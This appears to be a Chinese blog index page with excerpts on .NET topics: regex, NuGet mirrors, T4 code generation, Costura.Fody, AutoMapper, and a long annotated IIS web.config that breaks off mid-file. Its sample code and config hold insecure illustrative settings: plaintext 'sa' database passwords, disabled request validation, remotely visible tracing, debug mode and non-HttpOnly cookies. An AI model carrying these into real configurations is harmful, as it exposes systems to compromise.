后端开发 文章

正则表达式元字符简介
后端开发
2019-08-06 • 0k

正则表达式元字符简介

元字符1 .:匹配除\n之外的任何单个字符。 例如正则表达式“b.g”能匹配如下字符串:“big”、“bug”、“b g”,但是不匹配“buug”,“b..g”可以匹配“buug”。 [ ] :匹配括号中的任何一个字符(范围,字符集合)。 例如正则表达式“b[aui]g”匹配bug、big和bag,但是不匹配beg、baug。可以在括号中使用连字符“-”来指定字符的区间来简化表示,例如正则表达式[0-9]可以匹配任何数字字符,这样正则表达式“a[0-9]c”等价于“a[0123456789]c”就可以匹配“a0c”、“a1c”、“a2c”等字符串;还可以制定多个区间,例如“[A-Za-z]”可以匹配任何大小写字母,“[A-Za-z0-9]”可以匹配任何的大小写字母或者数字。思考:x[这里必须是元音]y,如何写正则?【当.出现在[]中,则表示普通.,不作为元字符。】 | :将两个匹配条件进行逻辑“或”运算。 例如‘z|food’ 能匹配 “z” 或 “food”。‘(z|f)ood’ 则匹配 “zood” 或 “food”。 //注意^$问题。 ():将 () 之间括起来的表达式定义为“组”(group) 将匹配这个表达式的字符保存到一个临时区域,这个元字符在字符串提取的时候非常有用。把一些字符表示为一个整体。改变优先级、定义提取组两个作用。 元字符2(限定符) 限定符:限定前面的正则表达式出现的次数。 *:匹配0至多个在它之前的子表达式,和通配符*没关系。等价于{0,}。 例如正则表达式“zo*”(等同于z(o))能匹配 “z” 、“zo”以及 “zoo”;因此“.”意味着能够匹配任意字符串。“z(b|c)"→zb、zbc、zcb、zccc、zbbbccc。“z(ab)“能匹配z、zab、zabab(用括号改变优先级)。 +:匹配前面的子表达式一次或多次,等价于{1,} 例如正则表达式9+匹配9、99、999等。 “zo+”能匹配 “zo”以及 “zoo” ,不能匹配"z”。 **? :匹配前面的子表达式零次或一次。等价于:{0,1} ** 例如,“do(es)?” 可以匹配 “do” 或 “does” 。【colou?r、favou?r】一般用来匹配“可选部分”。(终止贪婪模式) {n} :匹配确定的 n 次。“zo{2}”→zoo。 例如,“e{2}” 不能匹配“bed”中的“e”,但是能匹配“seed”中的两个“e”。 //seeeed,不可以。 {n,} :至少匹配n次。 例如,“e{2,}”不能匹配“bed”中的“e”(只出现一次,至少两次),但能匹配 “seeeeeeeed”中的所有“e”。 {n,m} :最少匹配 n 次且最多匹配 m 次。 例如“e{1,3}”将匹配“seeeeeeeed”中的前三个“e”。 {2,5}//bed,seed,seeed;beeeeed错误。 元字符3 ^(shift+6) :匹配一行的开始。 例如正则表达式“^regex”能够匹配字符串“regex我会用”的开始,但是不能匹配“我会用regex”。^另外一种意思:非!([^0-9]) $ :匹配行结束符。 例如正则表达式“浮云$” 能够匹配字符串“一切都是浮云”的末尾,但是不能匹配字符串“浮云呀”

dotnet 正则 正则表达式
阅读更多
正则表达式在C#中的使用
后端开发
2019-08-06 • 0k

正则表达式在C#中的使用

正则表达式简介 正则表达式是对字符串的操作 正则表达式是一个用来描述字符串特征的表达式。 特征:必须出现的内容、可能出现的内容、不能出现的内容。 观察字符串规律,根据规律总结特征,然后根据特定字符串的特征来编写正则表达式。 常用函数: Regex.IsMatch(); //判断是否匹配 Regex.Match();//提取某个(一个)匹配 Regex.Matches();//提取所有的匹配 Regex.Replace();//替换 Regex.Split();//分割 Regex.IsMatch() 练习1:判断是否是合法的邮政编码(6位数字) lRegex.IsMatch("100830","^[0-9]{6}$") Regex.IsMatch("119", @"^\d{6}$"); 解释:由元字符定义得知“[0-9]”表示0到9的任意字符,“{6}”表示前面的字符匹配6次,因此“[0-9]{6}”中的{6}表示对数字匹配6次(000000123)。简写表达式得知“[0-9]”可以被“\d”代替,所以第二种写法“\d{6}”也是正确的。 练习2:判断一个字符串是不是身份证号码。 长度为15位或者18位的字符串,首位不能是0。 如果是15位,则全部是数字。 如果是18位,则前17位都是数字,末位可能是数字也可能是X。 写法一:^[1-9][0-9]{14}([0-9]{2}[0-9Xx])?$ 写法二: ^([1-9][0-9]{14}|[1-9][0-9]{16}[0-9X])$ 练习3:判断字符串是否为正确的国内电话号码,不考虑分机。 •010-8888888或010-88888880或010xxxxxxx •0335-8888888或0335-88888888(区号-电话号)03358888888 •10086、10010、95595、95599、95588(5位) •13888888888(11位都是数字) Regex.IsMatch(phoneNumber, @“^((\d{3,4}\-?\d{7,8})|(\d{5})|(\d{11}))$”); //或者 Regex.IsMatch(phoneNumber, @“^((\d{3,4}\-?\d{7,8})|(\d{5}))$”); 按照要求一个一个写,都用|连起来。注意:由于区号有时为010-xxxxxxx有时为010xxxxxxx,-可有可无,所以需要?,由于-表示一个区间,所以这里要转义-。最后不要忘记在所有|的最外层加一对() Regex.Match() / Matches() string msg = "大家好呀,hello,2010年10月10日是个好日子。恩,9494.吼吼!886."; Match match1 = Regex.Match(msg, @"\d", RegexOptions.ECMAScript); //提取得到 2 (逐个提取) Match match2 = Regex.Match(msg, @"\d+", RegexOptions.ECMAScript); //提取得到2010 //提取所有的匹配的字符串 MatchCollection matches = Regex.Matches(msg, @"\d+", RegexOptions.ECMAScript); for (int i = 0; i < matches.Count; i++) { Console.WriteLine(matches[i].Value); } Console.ReadLine(); 打印结果:

dotnet 正则 C#
阅读更多
Net Core 3.x 禁用序列化时自动首字母小写
后端开发
2019-03-11 • 0k

Net Core 3.x 禁用序列化时自动首字母小写

public void ConfigureServices(IServiceCollection services) { services.AddControllers().AddJsonOptions(config => { //去掉转小写功能 // System.Text.Json.JsonNamingPolicy.CamelCase:转小写 // null:不转小写 config.JsonSerializerOptions.PropertyNamingPolicy =null; }); }

dotnet .NET Core 序列化
阅读更多
NuGet源中国加速镜像,博客园,华为等
后端开发
2019-03-11 • 0k

NuGet源中国加速镜像,博客园,华为等

打开Visual Studio => 工具 => NuGet包管理器 => 程序包管理器设置 NuGet微软官方中国镜像地址: https://nuget.cdn.azure.cn/v3/index.json 官方默认源: https://api.nuget.org/v3/index.json 博客园: https://nuget.cnblogs.com/v3/index.json 华为: https://repo.huaweicloud.com/repository/nuget/v3/index.json MyNuGet: https://dotnet.myget.org/F/dotnet-core/api/v3/index.json 这是一个很激进的 NuGet 源,包含各种日构建包(其中包括 .NET Standard 或者 .NET Core 等库的日构建版本),所以如果你希望尝试最新的 API 最新的功能,最好设置此 NuGet 源。 早期版本: https://www.nuget.org/api/v2/ https://nuget.org/api/v2/

dotnet NuGet 包管理
阅读更多
T4模板 生成多个文件 映射整个库表
后端开发
2019-03-11 • 0k

T4模板 生成多个文件 映射整个库表

<#@ output extension="txt" #> <#@ template debug="false" hostspecific="true" language="C#" #> <#@ assembly name="System.Data" #> <#@ assembly name="System.xml" #> <#@ import namespace="System.Collections.Generic" #> <#@ import namespace="System.Data.SqlClient" #> <#@ import namespace="System.Data" #> <#@ assembly name="System.Core" #> <#@ import namespace="System.Linq" #> <#@ include file="MultiOutput.tt" #> <# string connectionString= "server=.;database=57blogDB;uid=sa;pwd=123;"; SqlConnection conn = new SqlConnection(connectionString); conn.Open(); string selectQuery ="SET FMTONLY ON; select * from @tableName; SET FMTONLY OFF;"; SqlCommand command = new SqlCommand(selectQuery,conn); SqlDataAdapter ad = new SqlDataAdapter(command); System.Data.DataSet ds = new DataSet(); System.Data.DataTable schema = conn.GetSchema("Tables"); foreach(System.Data.DataRow row in schema.Rows) { ds.Tables.Clear(); string tb_name = row["TABLE_NAME"].ToString(); command.CommandText = selectQuery.Replace("@tableName",row["TABLE_NAME"].ToString()); ad.FillSchema(ds,SchemaType.Mapped,tb_name); string content=tb_name.ToString(); // manager.StartNewFile(tb_name+".cs"); #> using System.Collections.Generic; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.Data; using System.Data.OleDb; using System.Configuration; using System.Data.SqlClient; using System; namespace MyProject.Entities { public class <#= content#>Model { //------------------------------------------- <# string selectQueryt = "select * from "+content; string tableName=content; System.Data.DataTable schemat = null; SqlCommand selectcommandt = new SqlCommand(selectQueryt, conn); SqlDataAdapter sdat = new SqlDataAdapter(selectcommandt); System.Data.DataSet dsst = new System.Data.DataSet(); sdat.Fill(dsst); schemat=dsst.Tables[0]; System.Data.DataTable dt = dsst.Tables[0]; foreach (DataColumn dc in dsst.Tables[0].Columns) {#> private <#= dc.DataType.Name #> _<#= dc.ColumnName.Replace(dc.ColumnName[0].ToString(), dc.ColumnName[0].ToString().ToLower()) #>; /// <summary> /// <#= dc.ColumnName #> /// </summary> public <#= dc.DataType.Name #> <#= dc.ColumnName #> { get { return _<#= dc.ColumnName.Replace(dc.ColumnName[0].ToString(), dc.ColumnName[0].ToString().ToLower()) #>; } set { _<#= dc.ColumnName.Replace(dc.ColumnName[0].ToString(), dc.ColumnName[0].ToString().ToLower()) #> = value; } } <#}#> //------------------------------------------------- } } <# SaveOutput(""+row["TABLE_NAME"].ToString()+".cs"); #> <# } DeleteOldOutputs(); #>

dotnet T4模板 代码生成
阅读更多
把C#程序(含多个Dll)合并成一个exe的超简单方法
后端开发
2019-03-11 • 0k

把C#程序(含多个Dll)合并成一个exe的超简单方法

开发程序的时候经常会引用一些第三方的DLL,然后编译生成的exe文件就不能脱离这些DLL独立运行了。 但是,很多时候我们本想开发一款只需要一个exe就能完美运行的小工具。那该怎么办呢? 下文介绍一种超简单的方法,不用写一行代码就可轻松实现。 这里我们需要用到一款名为Fody.Costura的工具。Fody.Costura是一个Fody框架下的插件,可通过Nuget安装到VS工程中。安装之后,就可以将项目所依赖的DLL(甚至PDB)文件全部打包到EXE文件里。 使用方法 在VS中,通过Nuget为目标EXE工程安装Costura.Fody。 重新构建项目。 构建完成后,到项目的输出目录下找到新生成的EXE文件,你同时会发现输出目录下仍然存在那些DLL。不过不用担心,这个EXE已经能够独立运行了。你可以把这些DLL全部删除后再运行EXE试试。 另外,Fody.Costura还支持一些进阶的特性,例如: 临时程序集文件:在运行EXE前自动,自动将DLL从EXE中解压到文件夹系统中,再通过常规的方式加载该DLL。 合并非托管的DLL:Fody.Costura可以合并非托管的DLL,但是不会自动合。如果你的程序涉及非托管DLL,那么你需要通过修改Fody.Costura的配置文件来显示地告诉它你想合并哪些非托管的DLL。 预加载DLL:Fody.Costura可以帮助你在程序启动时预先加载某些DLL,你甚至可以指定这些DLL的加载顺序。 以上这些进阶特性都需要你通过修改Fody.Costura的配置文件来实现,具体的操作步骤可以参考它的官方文档。 好了,Fody.Costura的使用方式已经介绍完了。如果你对Fody.Costura的实现原理感到好奇,可以接着往下看。 实现原理介绍 当CLR试图加载一个程序集但加载失败时,它会引发AppDomain.AssemblyResolve事件。我们的程序可以监听这个事件,并且在这个事件的处理函数中返回这个CLR试图加载的程序集,从而使程序得以继续正常运行。 Fody.Costura在构建项目时会把EXE引用到的DLL全部嵌入到EXE文件中。当程序在运行的过程中用到其中某个DLL的时候(此时由于CLR无法找到该DLL文件,导致AppDomain.AssemblyResolve事件被触发)再从EXE文件的嵌入资源中提取所需的DLL。 下面这两个函数就是Fody.Costura实现这部分逻辑的代码。 public static void Attach() { var currentDomain = AppDomain.CurrentDomain; currentDomain.AssemblyResolve += (s, e) => ResolveAssembly(e.Name); } public static Assembly ResolveAssembly(string assemblyName) { if (nullCache.ContainsKey(assemblyName)) { return null; } var requestedAssemblyName = new AssemblyName(assemblyName); var assembly = Common.ReadExistingAssembly(requestedAssemblyName); if (assembly != null) { return assembly; } Common.Log("Loading assembly '{0}' into the AppDomain", requestedAssemblyName); assembly = Common.ReadFromEmbeddedResources(assemblyNames, symbolNames, requestedAssemblyName); if (assembly == null) { nullCache.Add(assemblyName, true); // Handles retargeted assemblies like PCL if (requestedAssemblyName.Flags == AssemblyNameFlags.Retargetable) { assembly = Assembly.Load(requestedAssemblyName); } } return assembly; } 可以看到,Attach方法监听了AppDomain.AssemblyResolve事件。当CLR无法成功加载某个程序集时, AssemblyResolve事件处理函数会被执行。AssemblyResolve会尝试通过Common.ReadFromEmbeddedResources方法从已加载的程序集的嵌入资源中获取目标程序集,并返回给CLR。 看到这里,你可能会问,Attach方法是在什么时候执行的呢? 其实是这样的,对于C#语言来说,CLR隐藏了一个大招——CLR可以在每个模块(每个程序集都含有一个或多个模块)加载之前执行一些初始化的代码。但是很遗憾,C#语言无法控制这部分代码。Fody.Costura则是在内部将IL代码直接注入到EXE程序集内部模块的初始化函数中,而这部分IL代码其实就是执行了Attach方法。这样一来,EXE程序集被加载后,Attach方法就能够立即得到调用了。 以上就是Fody.Costura实现原理的简单介绍。 问题解决: 如果安装失败 替换一下源地址

dotnet C# Fody.Costura
阅读更多
DotNet Core AutoMapper实体映射学习记录
后端开发
2018-03-11 • 0k

DotNet Core AutoMapper实体映射学习记录

AutoMapper:实体间的映射(数据库Model转Dto) 1、创建Model using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace AutoMapperDemo { public class Entity { } public class PostModel { public Guid Id { get; set; } public long SerialNo { get; set; } public string Title { get; set; } public string Author { get; set; } public string Image { get; set; } public short CategoryCode { get; set; } public bool IsDraft { get; set; } public string Content { get; set; } public DateTime ReleaseDate { get; set; } public virtual IList<CommentModel> Comments { get; set; } } public class CommentModel { public Guid Id { get; set; } public string Email { get; set; } public string Content { get; set; } public DateTime CommentDate { get; set; } } } 2、创建Dto using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace AutoMapperDemo { public class ViewModel { } public class PostViewModel { public Guid Id { get; set; } public long SerialNo { get; set; } public string Title { get; set; } public string Author { get; set; } public short CategoryCode { get; set; } public string Category => CategoryCode == 1001 ? ".NET" : "杂谈"; public string ReleaseDate { get; set; } public short CommentCounts { get; set; } public virtual int Count { get; set; } } } 3、创建映射规则 using AutoMapper; using System; using System.Collections.Generic; using System.ComponentModel; using System.Linq; using System.Threading.Tasks; namespace AutoMapperDemo { public class PostProfile : Profile { /// <summary> /// ctor /// </summary> public PostProfile() { // 配置 mapping 规则 // CreateMap<PostModel, PostViewModel>() .ForMember(destination => destination.CommentCounts, source => source.MapFrom(i => i.Comments.Count())) .ForMember(destination => destination.ReleaseDate, source => source.ConvertUsing(new DateTimeConverter())); } } public class DateTimeConverter : IValueConverter<DateTime, string> { public string Convert(DateTime source, ResolutionContext context) => source.ToString("yyyy-MM-dd HH:mm:ss"); } } 4、创建mapper扩展 映射规则注入

dotnet AutoMapper 实体映射
阅读更多
DotNet IIS web.config配置文件说明详解
后端开发
2017-03-11 • 0k

DotNet IIS web.config配置文件说明详解

<?xml version="1.0"?> <!--注意: 除了手动编辑此文件以外,您还可以使用 Web 管理工具来配置应用程序的设置。可以使用 Visual Studio 中的“网站”->“Asp.Net 配置”选项。 设置和注释的完整列表在 machine.config.comments 中,该文件通常位于 "Windows"Microsoft.Net"Framework"v2.x"Config 中。--> <!--Webconfig文件是一个xml文件,configuration是xml文件的根节点,由于xml文件的根节点只能有一个,所以Webconfig的所有配置都是在这个节点内进行的。--> <configuration> <!--指定配置节和命名空间声明。 clear:移除对继承的节和节组的所有引用,只允许由当前 section 和 sectionGroup 元素添加的节和节组。 remove:移除对继承的节和节组的引用。 section:定义配置节处理程序与配置元素之间的关联。 sectionGroup:定义配置节处理程序与配置节之间的关联。--> <configSections> <sectionGroup name="system.web.extensions" type="System.Web.Configuration.SystemWebExtensionsSectionGroup, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"> <sectionGroup name="scripting" type="System.Web.Configuration.ScriptingSectionGroup, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"> <section name="scriptResourceHandler" type="System.Web.Configuration.ScriptingScriptResourceHandlerSection, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" requirePermission="false" allowDefinition="MachineToApplication"/> </sectionGroup> </sectionGroup> <section name="rewriter" type="Intelligencia.UrlRewriter.Configuration.RewriterConfigurationSectionHandler, Intelligencia.UrlRewriter" /> </configSections> <!--appSettings是应用程序设置,可以定义应用程序的全局常量设置等信息--> <appSettings> <add key="1" value="1" /> <add key="gao" value="weipeng" /> </appSettings> <!--连接字符串设置--> <connectionStrings> <add name="ConnString" connectionString="Data Source=GAO;Initial Catalog=HBWXDate;User ID=sa;password=sa"></add> <add name="111" connectionString="11111" /> </connectionStrings> <!--指定应用子配置设置的资源,并锁定配置设置,以防止它们被子配置文件重写。page指定应用包含的配置设置的资源.allowOverride是否允许配置文件的重写,提高配置文件的安全性--> <location path="Default.aspx" allowOverride="false"> <!--控制asp.net运行时的行为--> <system.web> <!--identity控制web应用程序的身份验证标识.--> <identity impersonate="false" /> <!--标识特定于页的配置设置(如是否启用会话状态、视图状态,是否检测用户的输入等)。 <pages>可以在计算机、站点、应用程序和子目录级别声明. 这里的几个属性的意思是: 默认主页为Index, 主题是Default, 不检测用户在浏览器输入的内容中是否存在潜在的危险数据(注:该项默认是检测,如果你使用了不检测,一要对用户的输入进行编码或验证), 在从客户端回发页时将检查加密的视图状态, 以验证视图状态是否已在客户端被篡改(注:该项默认是不验证), 禁用ViewState--> <pages masterPageFile="Index" theme="Default" buffer="true" enableViewStateMac="true" validateRequest="false" enableViewState="false"> <!--controls 元素定义标记前缀所在的 register 指令和命名空间的集合--> <controls></controls> <!--将在程序集预编译期间使用的导入指令的集合--> <namespaces></namespaces> </pages> <!--默认错误页设置,mode:具有On,Off,RemoteOnly 3种状态。 On表示始终显示自定义的信息; Off表示始终显示详细的asp.net错误信息; RemoteOnly表示只对不在本地Web服务器上运行的用户显示自定义信息. defaultRedirect:用于出现错误时重定向的URL地址--> <customErrors defaultRedirect="Err.html" mode="RemoteOnly"> <!--特殊代码编号的错误从定向文件--> <error statusCode="403" redirect="NoAccess.htm" /> <error statusCode="404" redirect="FileNotFound.htm" /> </customErrors> <!--配置调试和跟踪:下面配置的意思是启动调试(默认),捕获跟踪信息,要缓存的跟踪请求个数(15),跟踪结果的排列顺序--> <trace enabled="true" localOnly="false" pageOutput="true" requestLimit="15" traceMode="SortByCategory"/> <!-- 设置 compilation debug="true" 将调试符号插入已编译的页面中。但由于这会影响性能,因此只在开发过程中将此值设置为 true。设置默认的开发语言C#。batch是否支持批处理--> <compilation debug="true" defaultLanguage="c#" batch="false"> <!--加的程序集引用,每添加一个程序集,就表示你的应用程序已经依赖了一个程序集,你就可以在你的应用程序中使用了--> <assemblies> <add assembly="System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/> <add assembly="System.Design, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/> <add assembly="System.Web.Extensions.Design, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/> <add assembly="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/> <add assembly="System.Web, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/> <add assembly="System, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/> <add assembly="System.Xml, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/> <add assembly="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/> <add assembly="System.Data, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B77A5C561934E089"/> <add assembly="System.Web.Services, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/> <add assembly="System.Configuration, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A"/> </assemblies> <!--定义用于编译自定义资源文件的生成提供程序的集合。--> <buildProviders> <!----> <add extension=".aspx" type="System.Web.Compilation.PageBuildProvider"/> <add extension=".ascx" type="System.Web.Compilation.UserControlBuildProvider"/> <add extension=".master" type="System.Web.Compilation.MasterPageBuildProvider"/> <add extension=".asmx" type="System.Web.Compilation.WebServiceBuildProvider"/> <add extension=".ashx" type="System.Web.Compilation.WebHandlerBuildProvider"/> <add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider"/> <add extension=".resx" type="System.Web.Compilation.ResXBuildProvider"/> <add extension=".resources" type="System.Web.Compilation.ResourcesBuildProvider"/> <add extension=".wsdl" type="System.Web.Compilation.WsdlBuildProvider"/> <add extension=".xsd" type="System.Web.Compilation.XsdBuildProvider"/> <add extension=".rdlc" type="Microsoft.Reporting.RdlBuildProvider, Microsoft.ReportViewer.Common, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"/> </buildProviders> </compilation> <!--通过 <authentication> 节可以配置 ASP.NET 使用的 安全身份验证模式,以标识传入的用户。 Windows: 使用IIS验证方式,Forms: 使用基于窗体的验证方式, Passport: 采用Passport cookie验证模式, None: 不采用任何验证方式--> <authentication mode="Forms"> <!--Name: 指定完成身份验证的Http cookie的名称. LoginUrl: 如果未通过验证或超时后重定向的页面URL,一般为登录页面,让用户重新登录。 Protection: 指定 cookie数据的保护方式. 可设置为:All表示加密数据,并进行有效性验证两种方式, None表示不保护Cookie,Encryption表示对Cookie内容进行加密,validation表示对Cookie内容进行有效性验证, TimeOut: 指定Cookie的失效时间. 超时后要重新登录。--> <forms name=".ASPXUSERDEMO" loginUrl="Login.aspx" protection="All" timeout="30"/> </authentication> <!--控制对 URL 资源的客户端访问(如允许匿名用户访问)。此元素可以在任何级别(计算机、站点、应用程序、子目录或页)上声明。 必需与<authentication> 节配合使用。此处的意思是对匿名用户不进行身份验证。拒绝用户weipeng--> <authorization> <allow users="*"/> <deny users="weipeng"/> <allow users="aa" roles="aa" /> </authorization> <!--站点全球化设置. requestEncoding: 它用来检查每一个发来请求的编码. responseEncoding: 用于检查发回的响应内容编码. fileEncoding:用于检查aspx,asax等文件解析的默认编码,默认的编码是utf-8--> <globalization requestEncoding="gb2312" responseEncoding="gb2312" fileEncoding="gb2312" /> <!--会话状态设置. mode: 分为off,Inproc,StateServer,SqlServer几种状态. mode = InProc 存储在进程中特点:具有最佳的性能,速度最快,但不能跨多台服务器存储共享. mode = "StateServer" 存储在状态服务器中特点:当需要跨服务器维护用户会话信息时,使用此方法. 但是信息存储在状态服务器上,一旦状态服务器出现故障,信息将丢失. mode="SqlServer" 存储在sql server中特点:工作负载会变大,但信息不会丢失. stateConnectionString :指定asp.net应用程序存储远程会话状态的服务器名,默认为本机。 sqlConnectionString:当用会话状态数据库时,在这里设置连接字符串。 Cookieless:设置为flase时,表示使用cookie会话状态来标识客户. timeout表示会话超时时间。--> <sessionState mode="InProc" stateConnectionString="tcpip=127.0.0.1:42424" sqlConnectionString="data source=127.0.0.1;Trusted_Connection=yes" cookieless="false" timeout="20"></sessionState> <!--为 ASP.NET 应用程序配置页的视图状态设置。设置要存储在页历史记录中的项数。--> <sessionPageState historySize="9"/> <!--配置asp.net http运行库的设置。可以在计算机,站点,应用程序和子目录级别声明 appRequestQueueLimit:允许最多的请求个数100, executionTimeout:最长允许执行请求时间为80秒, maxRequestLength:控制用户上传文件的大小,默认是4M。 useFullyQualifiedRedirectUrl:客户端重定向不需要被自动转换为完全限定格式。--> <httpRuntime appRequestQueueLimit="100" executionTimeout="80" maxRequestLength="40960" useFullyQualifiedRedirectUrl="false"/> <!--httpModules在一个应用程序内配置 HTTP 模块。--> <httpModules> <add name="OutputCache" type="System.Web.Caching.OutputCacheModule" /> <add name="Session" type="System.Web.SessionState.SessionStateModule" /> <add name="WindowsAuthentication" type="System.Web.Security.WindowsAuthenticationModule" /> <add name="FormsAuthentication" type="System.Web.Security.FormsAuthenticationModule" /> <add name="PassportAuthentication" type="System.Web.Security.PassportAuthenticationModule" /> <add name="RoleManager" type="System.Web.Security.RoleManagerModule" /> <add name="UrlAuthorization" type="System.Web.Security.UrlAuthorizationModule" /> <add name="FileAuthorization" type="System.Web.Security.FileAuthorizationModule" /> <add name="AnonymousIdentification" type="System.Web.Security.AnonymousIdentificationModule" /> <!--自定义的URL重写,type基本上就是dll名--> <add name="UrlRewriter" type="Intelligencia.UrlRewriter.RewriterHttpModule, Intelligencia.UrlRewriter" /> <add name="Profile" type="System.Web.Profile.ProfileModule" /> </httpModules> <!--httpHandlers用于根据用户请求的URL和HTTP谓词将用户的请求交给相应的处理程序。可以在配置级别的任何层次配置此节点,也就是说可以针对某个特定目录下指定的特殊文件进行特殊处理。 add:指定映射到处理程序的谓词/路径。 clear:移除当前已配置或已继承的所有处理程序映射。 remove:移除映射到处理程序的谓词/路径。remove 指令必须与前一个 add 指令的谓词/路径组合完全匹配。该指令不支持通配符。--> <httpHandlers> <remove verb="*" path="*.asmx"/> <add verb="*" path="*.asmx" validate="false" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/> <add verb="*" path="*_AppService.axd" validate="false" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"/> <add verb="GET,HEAD" path="ScriptResource.axd" type="System.Web.Handlers.ScriptResourceHandler, System.Web.Extensions, Version=1.0.61025.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" validate="false"/> <add verb="POST,GET" path="ajaxpro/*.ashx" type="AjaxPro.AjaxHandlerFactory, AjaxPro.2"/> </httpHandlers> <!--为 Web 应用程序使用的 Cookie 配置属性。 domain:设置 Cookie 域名。 httpOnlyCookies:在 Internet Explorer 6 SP1 中启用 HttpOnlyCookies Cookie 的输出。默认值为 false。 requireSSL:获取一个指示是否需要安全套接字层 (SSL) 通信的值.--> <httpCookies httpOnlyCookies="false" requireSSL="false"/> <!--控制 ASP.NET Web 服务及其客户端的行为。protocols:指定传输协议,ASP.NET 可使用这些传输协议来解密 HTTP--> <webServices> <protocols> <add/> </protocols> </webServices> <!--为 Web 应用程序配置缓存设置。 cache:定义全局应用程序缓存设置。 outputCache :指定应用程序范围的输出缓存设置。 outputCacheSettings:指定可以应用于应用程序中页的输出缓存设置。 sqlCacheDependency:为 ASP.NET 应用程序配置 SQL 缓存依赖项。--> <caching> <cache disableMemoryCollection = "false" disableExpiration = "false" privateBytesLimit = "0" percentagePhysicalMemoryUsedLimit = "90" privateBytesPollTime = "00:02:00"/> <!--设计需要以这种方式缓存的页时,您需要向该页添加以下指令:<%@ OutputCache CacheProfile="ServerOnly" %>--> <outputCacheSettings> <outputCacheProfiles> <add name="ServerOnly" duration="60" varyByCustom="browser" location="Server" /> </outputCacheProfiles> </outputCacheSettings> </caching> </system.web> </location> <!--网络设置, authenticationModules:指定用于对 Internet 请求进行身份验证的模块。 connectionManagement:指定与 Internet 宿主的连接的最大数目。 defaultProxy:配置超文本传输协议 (HTTP) 代理服务器。 mailSettings:配置简单邮件传输协议 (SMTP) 邮件发送选项。 requestCaching:控制网络请求的缓存机制。 settings:配置 System.Net 的基本网络选项。--> <system.net> <!--配置SMTP电子邮件设置--> <mailSettings> <smtp from="weipeng"> <network host="Gao" password="" userName="" /> </smtp> </mailSettings> <!--禁用所有缓存--> <requestCaching disableAllCaching="true"></requestCaching> <!--指定代理地址,并对本地访问和 contoso.com 跳过代理。--> <defaultProxy> <proxy usesystemdefault="True" proxyaddress="http://192.168.1.10:3128" bypassonlocal="True"/> <bypasslist> <add address="[a-z]+".contoso=""".com" /> </bypasslist> </defaultProxy> </system.net> <!--该节替换在 httpHandlers 和 httpModules 节中添加的与 AJAX 相关的 HTTP 处理程序和模块。 该节使 IIS 7.0 在集成模式下运行时可使用这些处理程序和模块。 在iis7.0 下运行 ASP.NET AJAX 需要 system.webServer节。对早期版本的 IIS 来说则不需要此节。 --> <system.webServer> <validation validateIntegratedModeConfiguration="false"/> <modules> <add name="ScriptModule" preCondition="integratedMode" type="System.Web.Handlers.ScriptModule, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/> </modules> <handlers> <remove name="WebServiceHandlerFactory-Integrated"/> <add name="ScriptHandlerFactory" verb="*" path="*.asmx" preCondition="integratedMode" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/> <add name="ScriptHandlerFactoryAppServices" verb="*" path="*_AppService.axd" preCondition="integratedMode" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/> <add name="ScriptResource" preCondition="integratedMode" verb="GET,HEAD" path="ScriptResource.axd" type="System.Web.Handlers.ScriptResourceHandler, System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"/> </handlers> </system.webServer> <!--ASP.NET AJAX 中配置 ASP.NET 服务--> <system.web.extensions> <!--配置 JSON 序列化--> <scripting> <webServices> <jsonSerialization maxJsonLength="5000"/> </webServices> </scripting> </system.web.extensions> <!--对WCF的相关配置--> <system.serviceModel> <services> <service name="WCFStudent.WCFStudentText" behaviorConfiguration="ServiceBehavior"> <!-- Service Endpoints --> <endpoint address="" binding="wsHttpBinding" contract="WCFStudent.IStuServiceContract"> <!-- 部署时,应删除或替换下列标识元素,以反映在其下运行部署服务的标识。删除之后,WCF 将自动推导相应标识。--> <identity> <dns value="localhost"/> </identity> </endpoint> <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange"/> </service> </services> <behaviors> <serviceBehaviors> <behavior name="ServiceBehavior"> <!-- 为避免泄漏元数据信息,请在部署前将以下值设置为 false 并删除上面的元数据终结点 --> <serviceMetadata httpGetEnabled="true"/> <!-- 要接收故障异常详细信息以进行调试,请将以下值设置为 true。在部署前设置为 false 以避免泄漏异常信息--> <serviceDebug includeExceptionDetailInFaults="false"/> </behavior> </serviceBehaviors> </behaviors> </system.serviceModel> <!--URL重定向--> <rewriter> <rewrite url="~/user/u(.+).aspx" 